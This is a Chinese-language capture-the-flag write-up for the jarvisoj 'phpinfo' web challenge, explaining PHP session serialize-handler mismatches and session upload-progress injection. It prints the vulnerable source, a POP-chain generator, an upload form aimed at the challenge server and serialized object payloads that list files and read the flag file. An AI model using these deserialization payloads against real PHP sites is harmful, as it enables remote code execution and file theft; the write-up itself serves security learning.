• jarvisoj web phpinfo


    jarvisoj phpinfo

    涉及知识点:

    (1)php序列化和反序列化处理器

    php的session信息是储存在文件中的

    session.save_path="" 指定储存的路径
    session.save_handler="" 指定储存时使用的函数(默认是file)
    session.auto_start boolen
    session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)

    (2)反序列化漏洞

    session.serialize_handler存在以下几种

    • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
    • php 键名+竖线(|)+经过serialize()函数处理过的值
    • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

    使用过程中如果想要修改,使用

    ini_set('session.serialize_handler','php_serialize');

    但这里设置的handler如果和默认的不同,就会出问题

    比如默认是php的handler,在该页面设置为php_serialize

    这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化

    (3)session.upload_progress.enabled

    解析:

    进入题目界面。发现是一道代码审计。

    <?php
    //A webshell is wait for you
    ini_set('session.serialize_handler', 'php');//ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
    session_start();
    class OowoO
    {
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'phpinfo();';
        }
        
        function __destruct()
        {
            eval($this->mdzz);
        }
    }
    if(isset($_GET['phpinfo']))
    {
        $m = new OowoO();
    }
    else
    {
        highlight_string(file_get_contents('index.php'));
    }
    ?>

    有一说一看到   ini_set('session.serialize_handler', 'php'); 就要想到php的反序列化处理器。

    在php5.5.4之前session.serialize_handler的默认是php。而在php5.5.4之后的版本中php的处理器就是php_serialize。乱换其他的处理器可能会有问题。

    本题中的php版本为5.6.21但是设置的session.serialize_handler却是php。本题就是这个知识点引出的漏洞。

    审计源码可以知道想要读取其他的文件必须通过析构函数中的eval()函数。

    在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类,就能够执行代码??(为什么session可以用?以后补上)

    查看phpinfo从而得到我们想要的能够改变session的办法。

     因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session。。

    所以当一个上传在处理中,POST一个与INI中设置的session.upload_progress.name同名变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

    那么我们要干什么就不用说了,写一个本地文件上传程序,来传session.upload_progress.name = payload  就可以了。

    先附上pop链。

    <?php 
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO
    {
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
        }
        
        function __destruct()
        {
           echo serialize();
        }
    }
    
        $m = new OowoO();
        var_dump($m);
        echo serialize($m);
    
    
        highlight_string(file_get_contents('test.php'));
    
    ?>

    本地文件上传到他的服务器的代码如下:

    <!DOCTYPE html>
    <html>
    <head>
        <title>Cxlover</title>
    </head>
    <body>
    <form method="POST" action="http://web.jarvisoj.com:32784/index.php" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="Cxlover">
        <input type="file" name="file">
        <input type="submit" name="Cxlover" value="提交">
    </form>
        
    </body>
    
    </html>

    抓包,改包,发包,一气呵成。先查看本文件夹下的文件名。

    构造payload:  |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

     发现藏有flag的文件,那么更改一下payload来读取就行了。

    payload : |O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

     

    为什么要用 来转义呢,应该是防止"就近原则"吧。存疑好吧。注意用来序列化的原字符串不用加转义符号。

  • 相关阅读:
    [LeetCode] 226. Invert Binary Tree
    [LeetCode] 101. Symmetric Tree
    [LeetCode] 100. Same Tree
    [LeetCode] 104. Maximum Depth of Binary Tree
    [LeetCode] 280. Wiggle Sort
    [LeetCode] 42. Trapping Rain Water
    [LeetCode] 190. Reverse Bits
    [LeetCode] 144. Binary Tree Preorder Traversal
    [Leetcode] 58. Length of Last Word
    [LeetCode] 16. 3Sum Closest
  • 原文地址:https://www.cnblogs.com/cioi/p/12178426.html
Copyright © 2020-2023  润新知